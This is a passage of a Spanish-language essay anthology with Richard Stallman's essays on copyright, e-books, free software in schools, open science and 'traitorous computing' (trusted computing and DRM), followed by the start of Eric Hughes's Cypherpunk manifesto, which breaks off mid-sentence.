ofrecía	 un	 beneficio	 público,	 como	 había	 sido	 pensado,	 con	 apenas	 carga	 para	 el
público.	Cumplía	bien	su	cometido,	por	aquel	entonces.

Entonces	 surgió	 una	 nueva	 forma	 de	 distribuir	 información:	 computadoras	 y
redes.	 La	 ventaja	 de	 la	 tecnología	 de	 información	 digital	 es	 que	 facilita	 la	 copia	 y
manipulación	de	 información,	 incluyendo	 software,	 grabaciones	musicales	 y	 libros.
Las	redes	ofrecían	la	posibilidad	de	acceso	ilimitado	a	toda	clase	de	datos:	una	utopía
de	la	información.

Pero	había	un	obstáculo	en	el	camino:	el	copyright.	Los	lectores	que	hacían	uso
de	 sus	 computadoras	 para	 compartir	 información	 publicada,	 eran	 técnicamente
infractores	 del	 copyright.	 El	 mundo	 había	 cambiado	 y	 lo	 que	 había	 sido	 una	 vez
regulación	industrial	se	había	convertido	en	una	restricción	al	público	que	debería	de
servir.

En	 una	 democracia,	 una	 ley	 que	 prohíbe	 una	 actividad	 popular,	 natural	 y	 útil,
habitualmente	se	relaja	pronto.	Pero	grupos	de	presión	de	poderosos	editores	estaban
determinados	 a	 impedir	 al	 público	 aprovechar	 la	 ventaja	 de	 sus	 computadoras	 y
encontraron	en	el	copyright	un	arma	apropiada.	Bajo	su	influencia,	en	vez	de	relajar
el	 copyright	 para	 adecuarlo	 a	 las	 nuevas	 circunstancias,	 los	 gobiernos	 lo	 hicieron
mucho	más	estricto,	aplicando	penas	severas	a	lectores	sorprendidos	compartiendo.

Pero	 eso	 no	 iba	 a	 ser	 lo	 último.	 Las	 computadoras	 pueden	 ser	 potentes
herramientas	de	dominio	cuando	unos	pocos	controlan	qué	hacen	 las	computadoras
de	otras	personas.	Los	editores	advirtieron	que	obligando	a	la	gente	a	usar	software
especialmente	 diseñado	 para	 leer	 libros	 electrónicos,	 podrían	 lograr	 un	 poder	 sin
precedentes:	¡obligarían	a	los	lectores	a	pagar	y	a	identificarse	cada	vez	que	leyesen
un	libro!

Éste	era	el	sueño	de	los	editores,	y	lograron	convencer	al	gobierno	estadounidense
para	promulgar	la	Digital	Millennium	Copyright	Act	[Ley	de	Copyright	del	Milenio
Digital]	de	1998.	Esta	ley	otorga	a	los	editores	el	poder	legal	total	sobre	casi	todo	lo
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que	un	lector	puede	hacer	con	un	libro	electrónico.	¡Incluso	la	lectura	no	autorizada
es	delito!

Todavía	 tenemos	 las	mismas	 libertades	de	antes	usando	 libros	en	papel.	Pero	 si
los	libros	electrónicos	sustituyen	a	los	impresos,	esa	excepción	servirá	de	muy	poco.
Con	la	«tinta	electrónica»,	que	hace	posible	descargar	un	nuevo	texto	en	un	trozo	de
papel	 aparentemente	 impreso,	 incluso	 los	 periódicos	 podrían	 volverse	 efímeros:	 no
más	 librerías	 de	 libros	 usados,	 no	 más	 préstamos	 de	 libros	 a	 amigos,	 no	 más
préstamos	 de	 libros	 en	 la	 biblioteca	 pública	—no	más	 «fugas»	 que	 podrían	 dar	 la
oportunidad	de	 leer	sin	pagar	 (y	a	 juzgar	por	 los	anuncios	de	Microsoft	Reader,	no
más	 compras	 anónimas	 de	 libros	 tampoco).	 Éste	 es	 el	mundo	 que	 los	 editores	 han
pensado	para	nosotros.

¿Por	qué	hay	tan	poco	debate	público	sobre	estos	cambios	capitales?	La	mayoría
de	 los	 ciudadanos	 no	 han	 tenido	 todavía	 ocasión	 de	 asumir	 las	 consecuencias
políticas	 que	 surgen	 de	 esta	 tecnología	 futurista.	 Además,	 al	 público	 se	 le	 ha
enseñado	que	el	copyright	existe	para	«proteger»	a	los	titulares	del	copyright,	con	la
consecuencia	añadida	de	que	los	intereses	del	público	no	cuentan.

Pero	cuando	el	público	en	general	empiece	a	usar	libros	electrónios	y	descubra	el
régimen	que	los	editores	les	han	preparado,	empezarán	a	oponerse.	La	humanidad	no
aceptará	este	yugo	por	siempre.

Los	editores	nos	han	hecho	creer	que	un	copyright	represivo	es	la	única	forma	de
mantener	viva	 la	creación	artística,	pero	no	necesitamos	una	Guerra	por	 las	Copias
para	fomentar	la	diversidad	de	obras	publicadas;	como	ha	mostrado	Grateful	Dead	la
copia	privada	entre	admiradores	no	es	necesariamente	un	problema	para	los	artistas.
Legalizando	la	copia	de	libros	electrónicos	entre	amigos,	podemos	volver	a	convertir
el	copyright	en	la	regulación	industrial	que	una	vez	fue.

Para	 cierta	 clase	 de	 escritos,	 debemos	 ir	 incluso	 más	 allá.	 Para	 artículos
académicos	y	monografías,	 su	publicación	 íntegra	en	 la	 red	debería	 ser	alentada	en
todos	 los	 casos;	 esto	 ayuda	 a	 proteger	 los	 escritos	 académicos	 haciéndolos	 más
accesibles.	En	el	 caso	de	 libros	de	 texto	y	de	 la	mayoría	de	obras	de	 referencia,	 la
publicación	 de	 versiones	 modificadas	 debería	 incluso	 permitirse,	 puesto	 que
fomentan	su	mejora.

Con	el	tiempo,	cuando	las	redes	de	computadoras	ofrezcan	una	forma	sencilla	de
mandar	 un	 poco	 de	 dinero	 a	 alguien,	 toda	 la	 base	 para	 restringir	 la	 copia	 literal
desaparecerá.	 Si	 le	 gusta	 un	 libro	 y	 aparece	 una	 ventanita	 de	 su	 computadora	 que
dice:	«cliqueé	aquí	para	dar	un	dólar	al	autor»,	¿no	lo	haría?	El	copyright	para	libros
y	música,	 aplicado	 a	 la	 distribución	 de	 copias	 literales	 no	modificadas,	 se	 volverá
totalmente	obsoleto.	¡Y	ni	un	segundo	antes!

Copyright	2000	Richard	Stallman
Se	permite	la	copia	y	redistribución	literal	de	este	artículo	en	su	totalidad	en	cualquier	medio,	si	se	mantiene	esta
nota.
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¿Por	qué	las	escuelas	deberían	usar	sólo	software	libre?
[63]

Richard	M.	Stallman

Existen	 razones	 generales	 por	 las	 que	 todos	 los	 usuarios	 de	 computadoras
deberían	 insistir	 en	 usar	 software	 libre.	 Éste	 les	 da	 a	 los	 usuarios	 la	 libertad	 de
controlar	sus	propias	computadoras;	con	el	software	propietario,	la	computadora	hace
lo	que	el	dueño	del	software	quiere	que	haga,	no	lo	que	usted	quiere.	También	les	da
a	 los	usuarios	 la	 libertad	de	cooperar	entre	sí,	de	actuar	correctamente.	Esto	cuenta
para	las	escuelas	tanto	como	para	el	resto	de	las	personas.	Pero	existen	razones	que	se
aplican	especialmente	al	caso	de	las	escuelas.

Primero,	 el	 software	 libre	 puede	 ahorrarle	 dinero	 a	 las	 escuelas.	 Hasta	 en	 los
países	 más	 ricos	 las	 escuelas	 tienen	 pocos	 fondos.	 El	 software	 libre	 les	 da	 a	 las
escuelas,	como	a	otros	usuarios,	la	libertad	de	copiar	y	redistribuir	el	software,	con	lo
que	el	sistema	escolar	puede	hacer	copias	para	 todas	 las	computadoras	en	 todas	 las
escuelas.	En	países	pobres,	esto	puede	ayudar	a	achicar	la	brecha	digital.

Esta	razón	obvia,	si	bien	es	importante,	es	bastante	superficial.	Y	los	fabricantes
de	software	propietario	pueden	salvar	la	situación	donando	copias	de	sus	programas.
(¡Cuidado!	Una	escuela	que	acepte	esta	oferta	puede	tener	que	pagar	para	recibir	las
siguientes	versiones).	Así	que	pasemos	a	las	razones	más	profundas.

Las	escuelas	deben	enseñar	a	sus	estudiantes	maneras	de	vivir	que	beneficien	a	la
sociedad	 como	un	 todo.	Así,	 deberían	 impulsar	 el	 uso	 del	 software	 libre,	 tal	 como
impulsan	 el	 reciclaje.	 Si	 las	 escuelas	 enseñan	 software	 libre	 a	 sus	 estudiantes,
entonces	 éstos	 usarán	 software	 libre	 cuando	 se	 gradúen.	 Esto	 ayudará	 a	 que	 la
sociedad	en	su	conjunto	evite	ser	dominada	(y	extorsionada)	por	megacorporaciones.
Esas	corporaciones	les	ofrecen	muestras	gratis	a	las	escuelas	por	la	misma	razón	por
la	que	las	compañías	de	tabaco	distribuyen	cigarrillos	gratis:	para	hacer	adictos	a	los
chicos.[64]	No	les	van	a	seguir	haciendo	descuentos	a	estos	estudiantes	una	vez	que
crezcan	y	se	gradúen.

El	 software	 libre	 permite	 a	 los	 estudiantes	 aprender	 cómo	 funcionan	 los
programas.	 Cuando	 los	 chicos	 llegan	 a	 la	 adolescencia,	 algunos	 de	 ellos	 quieren
aprender	todo	lo	que	se	pueda	sobre	sus	sistemas	de	computadoras	y	sus	programas.
Ésa	 es	 la	 edad	 en	 que	 las	 personas	 que	 serán	 buenos	 programadores	 deberían
aprenderlo.	Para	aprender	a	escribir	buenos	programas,	los	estudiantes	necesitan	leer
y	escribir	muchos	programas.	Necesitan	leer	y	entender	programas	reales	que	la	gente
realmente	utiliza.	Sentirán	una	enorme	curiosidad	por	leer	los	códigos	fuente.

El	software	propietario	repele	su	sed	de	conocimiento;	les	dice,	«El	conocimiento
que	 ustedes	 quieren	 es	 un	 secreto,	 ¡aprender	 está	 prohibido!».	 El	 software	 libre
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alienta	a	todos	a	aprender.	La	comunidad	del	software	libre	rechaza	el	«sacerdocio	de
la	 tecnología»,	 que	 mantiene	 al	 público	 general	 en	 ignorancia	 respecto	 a	 cómo
funciona	la	tecnología;	alentamos	a	los	estudiantes	de	cualquier	edad	y	posición	a	leer
el	código	fuente	y	aprender	tanto	como	quieran	saber.	Las	escuelas	que	usen	software
libre	alentarán	a	los	diestros	en	software	a	que	se	superen.

La	siguiente	razón	es	todavía	más	profunda	que	esto.	Esperamos	que	las	escuelas
les	enseñen	a	los	estudiantes	conocimientos	básicos	y	destrezas	útiles,	pero	esta	no	es
toda	su	tarea.	La	misión	más	importante	de	las	escuelas	es	enseñar	a	 las	personas	a
ser	buenas	ciudadanas	y	buenos	vecinos,	 a	 cooperar	 con	 los	otros	que	necesitan	 su
ayuda.	 En	 el	 ámbito	 de	 las	 computadoras	 esto	 significa	 enseñarles	 a	 compartir
software.	 Las	 escuelas	 primarias,	 sobre	 todo,	 deben	 enseñarles	 a	 sus	 alumnos,	 «Si
traes	programas	a	la	escuela,	debes	compartirlos	con	los	otros	chicos».	Por	supuesto,
la	escuela	debe	cumplir	con	 lo	que	enseña:	 todo	el	software	 instalado	en	 la	escuela
debe	 estar	 disponible	 para	 que	 los	 estudiantes	 lo	 copien,	 lo	 lleven	 a	 casa	 y	 lo
redistribuyan.

Enseñarles	a	 los	chicos	a	usar	software	 libre,	y	a	participar	en	 la	comunidad	de
software	 libre,	 es	 una	 lección	 práctica	 de	 educación	 cívica.	 También	 enseña	 a	 los
estudiantes	 el	 rol	modelo	 del	 servicio	 público	 antes	 que	 el	 del	 exitismo.	Todos	 los
niveles	de	educación	deben	usar	software	libre.

Copyright	2003	Richard	Stallman
La	reproducción	literal	y	la	distribución	de	este	artículo	en	su	totalidad	y	sin	regalías	se	permiten	para	cualquier
medio	en	tanto	se	mantenga	esta	nota.
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La	ciencia	debe	sacarse	el	copyright	de	encima[65]

Richard	M.	Stallman

Debería	 ser	 obvio	 que	 la	 literatura	 científica	 existe	 para	 diseminar	 el
conocimiento	científico,	y	que	 las	 revistas	científicas	existen	para	 facilitar	 esto.	De
ello	 se	 concluye	 que	 las	 reglas	 para	 el	 uso	 de	 la	 literatura	 identífica	 deberían	 estar
diseñadas	para	alcanzar	tal	meta.

Las	 reglas	 con	 que	 contamos	 ahora,	 conocidas	 como	 copyright,	 fueron
establecidas	 en	 la	 época	 de	 la	 imprenta,	 que	 es	 un	 método	 inherentemente
centralizado	 de	 producción	 de	 copias	 a	 gran	 escala.	 En	 un	 escenario	 basado	 en
imprentas,	el	copyright	sobre	artículos	de	revistas	se	restringía	sólo	a	los	editores	—
requiriéndoles	 que	 obtengan	 un	 permiso	 para	 publicar	 un	 artículo—	 y	 sobre
eventuales	 plagiadores.	 Ayudaba	 a	 las	 revistas	 a	 funcionar	 y	 diseminar	 el
conocimiento,	 sin	 interferir	en	el	valioso	 trabajo	de	 los	científicos	y	estudiantes,	ya
sea	como	escritores	o	lectores	de	artículos.	Estas	reglas	se	adecuaban	bien	al	sistema.

La	tecnología	actual	para	las	publicaciones	científicas	es,	sin	embargo,	la	World
Wide	Web.	¿Qué	 reglas	asegurarían	mejor	 la	más	amplia	diseminación	de	artículos
científicos	 y	 de	 conocimiento	 en	 la	 Web?	 Los	 artículos	 deberían	 distribuirse	 en
formatos	no	privativos	[non	proprietary	formats],	con	acceso	libre	para	todos.	Y	todo
el	mundo	debería	tener	el	derecho	de	reproducir	los	artículos;	esto	es,	hacer	ediciones
textuales	con	el	reconocimiento	debido	a	los	autores.

Estas	 reglas	 deberían	 aplicarse	 para	 artículos	 antiguos	 tanto	 como	 para	 los
futuros,	cuando	se	distribuyen	de	forma	electrónica.	Pero	no	hay	ninguna	necesidad
de	 cambiar	 el	 actual	 sistema	 de	 copyright	 tal	 como	 opera	 para	 la	 publicación	 de
revistas	en	papel,	ya	que	el	problema	no	reside	en	ese	ámbito.

Lamentablemente,	 parece	 que	 no	 todos	 acuerdan	 con	 las	 obviedades	 que
mencionamos	 al	 comenzar	 este	 artículo.	Muchos	 editores	 de	 revistas	 parecen	 creer
que	 el	 propósito	 de	 la	 literatura	 científica	 es	 permitirles	 publicar	 revistas	 para	 que
puedan	 cobrar	 suscripciones	 de	 científicos	 y	 estudiantes.	Esta	manera	 de	 pensar	 se
conoce	como	«confusión	de	los	medios	con	los	fines».

Su	modo	 de	 hacer	 las	 cosas	 consiste	 en	 restringir	 incluso	 el	 acceso	 a	 la	 mera
lectura	de	literatura	científica	a	aquéllos	que	pueden	y	quieren	pagar	por	ella.	Utilizan
las	leyes	de	copyright,	que	siguen	vigentes	a	pesar	de	su	inadecuación	a	las	redes	de
computadoras,	como	excusa	para	evitar	que	los	científicos	decidan	reglas	nuevas.

Por	 el	 bien	 de	 la	 cooperación	 científica	 y	 el	 futuro	 de	 la	 humanidad,	 debemos
rechazar	esta	visión	de	raíz	—no	sólo	los	sistemas	obstructivos	que	se	han	instituido,
sino	las	mismas	prioridades	equivocadas	en	las	que	se	fundamentan.

Los	editores	de	revistas	a	veces	sostienen	que	el	acceso	on-line	requiere	costosas
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computadoras	de	alto	rendimiento	como	servidores,	y	que	ellos	deben	cobrar	tarifas
de	 acceso	 para	 pagar	 esos	 servidores.	 Este	 «problema»	 es	 una	 consecuencia	 de	 su
propia	«solución».	Denle	la	libertad	a	todas	las	personas	de	copiar	y	poner	en	su	sitio
de	Internet	los	artículos	científicos,	y	las	bibliotecas	de	todo	el	mundo	abrirán	sitios
de	 acceso	 con	 copias	 para	 satisfacer	 la	 demanda.	 Esta	 solución	 descentralizada
reducirá	los	requisitos	de	ancho	de	banda	y	proveerá	un	acceso	más	veloz,	al	tiempo
que	protegerá	los	trabajos	académicos	contra	pérdidas	accidentales.

Los	editores	también	sostienen	que	el	trabajo	editorial	requiere	que	se	cobre	por
el	acceso.	Aceptemos	la	premisa	de	que	los	editores	deben	cobrar	por	su	tarea;	esto
no	 invalida	nuestra	propuesta.	El	costo	de	edición	de	un	 trabajo	científico	corriente
está	 entre	 el	 1%	 y	 el	 3%	 del	 financiamiento	 en	 investigación	 para	 producirlo.	 Un
porcentaje	tan	reducido	difícilmente	debería	obstruir	el	uso	de	los	resultados.

En	cambio,	el	costo	de	edición	podría	obtenerse,	por	ejemplo,	a	través	de	tarifas	a
los	 autores,	 que	 pueden	 trasladarlas	 a	 su	 vez	 a	 las	 entidades	 que	 promueven	 su
investigación.	A	 éstas	 no	 debería	 importarles,	 dado	 que	 actualmente	 pagan	 por	 las
publicaciones	 de	 una	 manera	 mucho	 más	 aparatosa	 e	 indirecta	 al	 pagar	 por	 la
suscripción	 de	 la	 bibliotecas	 universitarias	 a	 las	 revistas.	 Cambiando	 el	 modelo
económico	 para	 asignar	 los	 costos	 de	 edición	 a	 las	 entidades	 de	 apoyo,	 podemos
eliminar	la	aparente	necesidad	de	restringir	el	acceso.	Los	autores	ocasionales	que	no
estén	 afiliados	 a	 ninguna	 entidad	 o	 institución,	 y	 que	 no	 reciben	 ayuda	 financiera,
podrían	 ser	 eximidos	 de	 los	 costos	 de	 publicación,	 siendo	 asumidos	 éstos	 por	 los
autores	que	sí	reciben	ayuda.

Otra	 justificación	 para	 las	 tarifas	 de	 acceso	 a	 las	 publicaciones	 on-line	 es	 la
necesidad	 de	 financiar	 la	 conversión	 de	 los	 archivos	 impresos	 en	 papel	 a	 formato
digital.	 Este	 trabajo	 debe	 realizarse,	 pero	 debemos	 buscar	 maneras	 alternativas	 de
financiarlo	que	no	 impliquen	obstruir	el	acceso	a	 los	resultados.	El	 trabajo	en	sí	no
será	más	complicado,	ni	 será	más	costoso.	Es	un	 sinsentido	digitalizar	 los	archivos
para	luego	desperdiciar	los	resultados	restringiendo	el	acceso	a	ellos.

La	Constitución	de	Estados	Unidos	dice	que	el	copyright	existe	«para	promover
el	progreso	de	la	ciencia».	Cuando	el	copyright	 impide	el	progreso	de	la	ciencia,	 la
ciencia	debe	sacarse	de	encima	el	copyright.

Copyright	2001	Richard	Stallman
La	 reproducción	 literal	y	 la	 redistribución	de	este	 artículo	 en	 su	 totalidad	 se	permiten	para	 cualquier	medio	en
tanto	se	mantenga	esta	nota	y	la	nota	de	copyright.
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¿Puede	confiar	en	su	computadora?[66]

Richard	M.	Stallman

¿De	quién	debería	recibir	órdenes	su	computadora?	Mucha	gente	piensa	que	sus
computadoras	deberían	obedecerles	a	ellos,	en	vez	de	a	otras	personas.	Mediante	un
plan	 al	 que	 llaman	 «computación	 confiable»	 [trusted	 computing],	 grandes
corporaciones	 de	 los	 medios	 de	 comunicación	 (incluyendo	 las	 compañías
cinematográficas	y	de	la	industria	discográfica)	junto	con	compañías	de	informática
tales	 como	 Microsoft	 e	 Intel,	 están	 planificando	 hacer	 que	 su	 computadora	 los
obedezca	a	ellos	en	vez	de	a	usted.	(La	versión	de	Microsoft	de	este	esquema	se	llama
«Palladium»).	 Los	 programas	 propietarios	 [proprietary	 programs]	 han	 incluido
características	maliciosas	en	el	pasado,	pero	este	plan	haría	esto	universal.

Software	 propietario	 [proprietary	 software]	 significa,	 fundamentalmente,	 que
usted	no	controla	lo	que	hace;	no	puede	estudiar	el	código	fuente	o	modificarlo.	No
es	 sorprendente	 que	 hábiles	 hombres	 de	 negocios	 encuentren	 formas	 de	 usar	 su
control	para	ponerle	a	usted	en	desventaja.	Microsoft	ha	hecho	esto	varias	veces;	una
versión	de	Windows	 fue	 diseñada	para	 reportar	 a	Microsoft	 todo	 el	 software	 en	 su
disco	duro;	una	reciente	actualización	de	«seguridad»	en	el	Reproductor	Multimedia
de	Windows	requería	que	los	usuarios	aceptaran	nuevas	restricciones.	Pero	Microsoft
no	está	solo:	el	software	para	intercambio	de	música	KaZaa	está	diseñado	de	forma
que	un	asociado	de	negocios	de	KaZaa	pueda	alquilar	el	uso	de	su	computadora	a	sus
clientes.	Estas	características	maliciosas	son	normalmente	secretas,	pero	una	vez	que
usted	se	entera	de	ellas	es	difícil	eliminarlas,	dado	que	no	dispone	del	código	fuente.

En	el	pasado,	estos	fueron	incidentes	aislados.	«Computación	confiable»	los	haría
omnipresentes.	«Computación	traidora»	es	un	nombre	más	apropiado,	porque	el	plan
está	 diseñado	 para	 asegurarse	 de	 que	 su	 computadora	 sistemáticamente	 lo
desobedecerá.	De	 hecho,	 está	 diseñado	 para	 que	 la	misma	 deje	 de	 funcionar	 como
una	 computadora	 de	 propósito	 general.	 Cada	 operación	 puede	 requerir	 de	 una
autorización	explícita.

La	idea	técnica	detrás	de	la	computación	traidora	es	que	la	computadora	incluye
un	 dispositivo	 de	 cifrado	 y	 firma	 digital,	 y	 las	 claves	 se	 mantienen	 secretas	 para
usted.	 Los	 programas	 propietarios	 usan	 este	 dispositivo	 para	 controlar	 qué	 otros
programas	 puede	 ejecutar,	 a	 qué	 documentos	 o	 datos	 puede	 acceder	 y	 a	 qué
programas	se	los	puede	transferir.	Esos	programas	continuamente	descargarán	nuevas
reglas	 de	 autorización	 a	 través	 de	 Internet,	 e	 impondrán	 dichas	 reglas
automáticamente	 a	 su	 trabajo.	 Si	 usted	 no	 permite	 a	 su	 computadora	 obtener	 las
nuevas	 reglas	 periódicamente	 de	 Internet,	 algunas	 capacidades	 dejarán
automáticamente	de	funcionar.
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Por	 supuesto,	 Hollywood	 y	 las	 compañías	 discográficas	 planean	 usar	 la
computación	 traidora	 para	 «DRM»	 (Administración	 de	 Restricciones	 Digitales
[Digital	Restriction	Management]),	así	los	vídeos	y	la	música	descargados	podrán	ser
reproducidos	 sólo	 en	 una	 computadora	 específica.	 Compartir	 será	 completamente
imposible,	 al	menos	 usando	 los	 archivos	 autorizados	 que	 deberá	 obtener	 de	 dichas
compañías.	Usted,	 el	 público,	 debería	 tener	 la	 libertad	 y	 la	 habilidad	 de	 compartir
esas	cosas.	(Espero	que	alguien	encuentre	la	forma	de	producir	versiones	no	cifradas,
y	de	subirlas	y	compartirlas,	así	DRM	no	tendrá	éxito	completamente,	pero	esto	no	es
excusa	para	el	sistema).

Hacer	 imposible	el	compartir	ya	es	 lo	 suficientemente	malo,	pero	se	pone	peor.
Existen	 planes	 para	 usar	 la	 misma	 facilidad	 al	 enviar	 documentos	 por	 correo
electrónico,	resultando	en	mensajes	que	desaparecen	en	dos	semanas,	o	documentos
que	sólo	pueden	ser	leídos	en	las	computadoras	de	determinada	compañía.

Imagínese	 si	 usted	 recibiera	 un	 mensaje	 de	 correo	 electrónico	 de	 su	 jefe
diciéndole	que	haga	algo	que	usted	piensa	que	es	arriesgado;	un	mes	después,	cuando
el	tiro	sale	por	la	culata	no	puede	usar	el	mensaje	para	mostrar	que	la	decisión	no	fue
suya.	 «Ponerlo	 por	 escrito»	 no	 lo	 protege	 si	 la	 orden	 está	 escrita	 en	 tinta	 que
desaparece.

Imagínese	 si	 usted	 recibe	 un	 mensaje	 de	 correo	 electrónico	 de	 su	 jefe
estableciendo	una	política	que	es	ilegal	o	inmoral,	tal	como	destrozar	los	documentos
de	 auditoría	 de	 su	 compañía,	 o	 permitir	 que	 una	 amenaza	 peligrosa	 para	 su	 país
avance	 sin	 ser	 controlada.	 Actualmente,	 usted	 puede	 enviar	 esto	 a	 un	 periodista	 y
exponer	la	actividad.	Con	la	computación	traidora,	el	periodista	no	será	capaz	de	leer
el	 documento;	 su	 computadora	 se	negará	 a	obedecerlo.	La	 computación	 traidora	 se
transforma	en	un	paraíso	para	la	corrupción.

Los	 procesadores	 de	 texto	 tales	 como	 Microsoft	 Word	 podrían	 usar	 la
computación	 traidora	 cuando	usted	guarde	 sus	documentos,	 para	 asegurarse	de	que
ningún	procesador	de	 texto	de	 la	 competencia	podrá	 leerlos.	Actualmente	debemos
averiguar	 los	secretos	del	 formato	de	Word	mediante	 laboriosos	experimentos,	para
que	 los	 procesadores	 libres	 puedan	 leer	 documentos	 de	 Word.	 Si	 Word	 cifra	 los
documentos	 usando	 computación	 traidora	 cuando	 los	 guarda,	 la	 comunidad	 del
software	 libre	 no	 tendrá	 la	 posibilidad	 de	 desarrollar	 software	 para	 leerlos,	 y	 si
pudiéramos,	 tales	 programas	 podrían	 ser	 prohibidos	 por	 la	 Digital	 Millennium
Copyright	Act	[Ley	de	Copyright	del	Milenio	Digital].

Los	programas	que	usen	computación	traidora	continuamente	descargarán	nuevas
reglas	 de	 autorización	 desde	 Internet,	 e	 impondrán	 dichas	 reglas	 a	 su	 trabajo.	 Si	 a
Microsoft,	 o	 al	 gobierno	 de	 los	 EE.	 UU.,	 no	 le	 agrada	 lo	 que	 usted	 dice	 en	 un
documento	 que	 escribió,	 podrán	 publicar	 nuevas	 restricciones	 diciendo	 a	 todas	 las
computadoras	 que	 se	 rehúsen	 a	 dejar	 que	 alguien	 lea	 dicho	 documento.	 Cada
computadora	 del	 mundo	 obedecerá	 cuando	 descargue	 las	 nuevas	 instrucciones.	 Su
escrito	 estará	 sujeto	 a	 un	 borrado	 retroactivo	 estilo	 1984.	 Hasta	 usted	 podría	 ser
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incapaz	de	leerlo.
Podría	pensar	que	usted	puede	averiguar	qué	cosas	sucias	hace	una	aplicación	de

computación	 traidora,	 estudiar	 qué	 tan	 dañinas	 son,	 y	 decidir	 si	 aceptarlas.	 Sería
ingenuo	 aceptarlo,	 pero	 el	 punto	 es	 que	 el	 trato	 que	 cree	 que	 está	 haciendo	 no	 se
mantendrá.	Una	vez	que	usted	dependa	del	uso	del	programa,	 estará	 enganchado	y
ellos	 lo	 saben;	 entonces	 pueden	 cambiar	 el	 trato.	 Algunas	 aplicaciones
automáticamente	 bajarán	 actualizaciones	 que	harán	 algo	diferente,	 y	 no	 le	 darán	 la
posibilidad	de	elegir	si	desea	la	actualización	o	no.

Actualmente	puede	evitar	ser	restringido	por	el	software	propietario	no	usándolo.
Si	ejecuta	GNU/Linux	u	otro	sistema	operativo	libre,	y	si	evita	instalar	aplicaciones
propietarias	sobre	él,	entonces	usted	está	al	mando	de	lo	que	su	computadora	hace.	Si
un	 programa	 libre	 tiene	 una	 característica	 maliciosa,	 otros	 desarrolladores	 en	 la
comunidad	 la	 quitarán	 y	 usted	 puede	 usar	 la	 versión	 corregida.	 Puede	 también
ejecutar	aplicaciones	y	herramientas	libres	en	sistemas	operativos	no	libres;	esto	falla
completamente	en	darle	libertad,	pero	muchos	usuarios	lo	hacen.

La	 computación	 traidora	pone	 en	peligro	 la	 existencia	de	 sistemas	operativos	y
aplicaciones	 libres,	 porque	 usted	 ya	 no	 podrá	 ejecutarlas.	 Algunas	 versiones	 de	 la
computación	 traidora	 requerirán	 que	 el	 sistema	 operativo	 esté	 específicamente
autorizado	por	una	compañía	particular.	Los	sistemas	operativos	libres	no	podrán	ser
instalados.	 Algunas	 versiones	 de	 la	 computación	 traidora	 requerirán	 que	 cada
programa	sea	específicamente	autorizado	por	el	desarrollador	del	sistema	operativo.
No	 podrá	 ejecutar	 aplicaciones	 libres	 en	 tales	 sistemas.	 Si	 usted	 averigua	 cómo
hacerlo	y	se	lo	dice	a	alguien,	eso	podría	constituir	un	delito.

Existen	proyectos	de	 ley	en	EE.	UU.	que	 requieren	que	 todas	 las	computadoras
soporten	 computación	 traidora,	 y	 que	 se	 prohíba	 la	 conexión	 de	 computadoras
antiguas	 a	 Internet.	 La	 CBDTPA	 (la	 llamamos	 Ley	 Consuma	 Pero	 No	 Trate	 de
Programar	 [Consume	 But	 Don’t	 Try	 Programming	 Act])	 es	 uno	 de	 ellos.	 Pero
inclusive	 si	 no	 lo	 fuerzan	 legalmente	 a	 migrar	 hacia	 la	 computación	 traidora,	 la
presión	 para	 aceptarla	 puede	 ser	 enorme.	 Actualmente	 las	 personas	 usualmente
utilizan	 el	 formato	 Word	 para	 comunicarse,	 aunque	 esto	 causa	 varios	 tipos	 de
problemas	 (vea	«We	Can	Put	 an	End	 to	Word	Attachments»[67]).	 Si	 solamente	 una
máquina	de	computación	traidora	puede	leer	los	últimos	documentos	de	Word,	mucha
gente	migrará	 hacia	 ella,	 si	 ven	 la	 situación	 sólo	 en	 términos	 de	 acción	 individual
(tómalo	 o	 déjalo).	 Para	 oponernos	 a	 la	 computación	 traidora,	 debemos	 unirnos	 y
confrontar	la	situación	como	una	elección	colectiva.

Para	 mayor	 información	 sobre	 computación	 traidora,	 vea
http://www.cl.cam.ac.uk/users/rja14/tcpa-faq.html

[68].
Bloquear	la	computación	traidora	requerirá	que	se	organicen	un	gran	número	de

ciudadanos.	 ¡Necesitamos	 su	 ayuda!	 La	 Electronic	 Frontier	 Foundation[69]

(Fundación	 Frontera	 Electrónica)	 y	 Public	 Knowledge[70]	 (Conocimiento	 Público)
están	organizando	campañas	en	contra	de	la	computación	traidora,	así	como	también
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el	 Digital	 Speech	 Project[71]	 (Proyecto	 Expresión	 Digital)	 sponsoreado	 por	 la	 FSF
[Free	Software	Foundation].	Por	favor,	visite	estos	sitios	Web	para	poder	sumarse	y
apoyar	de	su	trabajo.

También	 puede	 ayudar	 escribiendo	 a	 las	 oficinas	 de	 asuntos	 públicos	 de	 Intel,
IBM,	HP/Compaq,	 o	 cualquiera	 a	quien	usted	 le	 haya	 comprado	una	 computadora,
explicándole	 que	 no	 quiere	 ser	 presionado	 a	 comprar	 sistemas	 de	 computación
«confiable»,	por	 lo	cual	no	está	de	acuerdo	en	que	ellos	 los	produzcan.	Esto	puede
ejercer	la	presión	del	poder	del	consumidor.	Si	usted	hace	esto,	por	favor	envíe	copias
de	sus	cartas	a	las	organizaciones	antes	citadas.

Copyright	2002	Richard	Stallman
Está	permitida	la	distribución	y	copia	literal	de	este	artículo	completo	en	cualquier	medio,	siempre	que	se	preserve
esta	nota.
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Un	manifiesto	cripto-hacker[72]

Eric	Hughes

ric	Hughes	 fundó	en	1992	el	grupo	de	 investigación	y	activismo	«Cypherpunks»	 (cripto-
hackers),	 junto	con	John	Gilmore	y	Tim	C.	May.	El	grupo	mantiene	un	foro	de	discusión

sobre	técnicas	de	encriptación,	además	de	organizar	encuentros	y	promover	el	uso	de	programas
de	encriptación	para	garantizar	la	privacidad	en	Internet.

Este	texto	de	1993	es	una	de	las	declaraciones	de	cabecera	del	grupo.

En	la	era	electrónica	la	privacidad	es	necesaria	para	lograr	una	sociedad	abierta.
Privacidad	no	es	guardar	secretos.	Un	asunto	privado	es	algo	de	lo	que	uno	no	quiere
que	todo	el	mundo	se	entere,	pero	un	asunto	secreto	es	algo	de	lo	que	uno	no	quiere
que	 nadie	 se	 entere.	 Privacidad	 es	 la	 posibilidad	 de	 revelarse	 uno	 mismo	 ante	 el
mundo	de	manera	selectiva.

Si	 dos	 partes	 realizan	 algún	 tipo	 de	 negociación,	 entonces	 cada	 una	 guarda	 un
recuerdo	 de	 ese	 encuentro.	 Cada	 parte	 puede	 hablar	 sobre	 lo	 que	 sabe	 de	 la	 otra;
¿cómo	 evitarlo?	 Se	 podrían	 hacer	 leyes	 contra	 esto,	 pero	 la	 libertad	 de	 expresión,
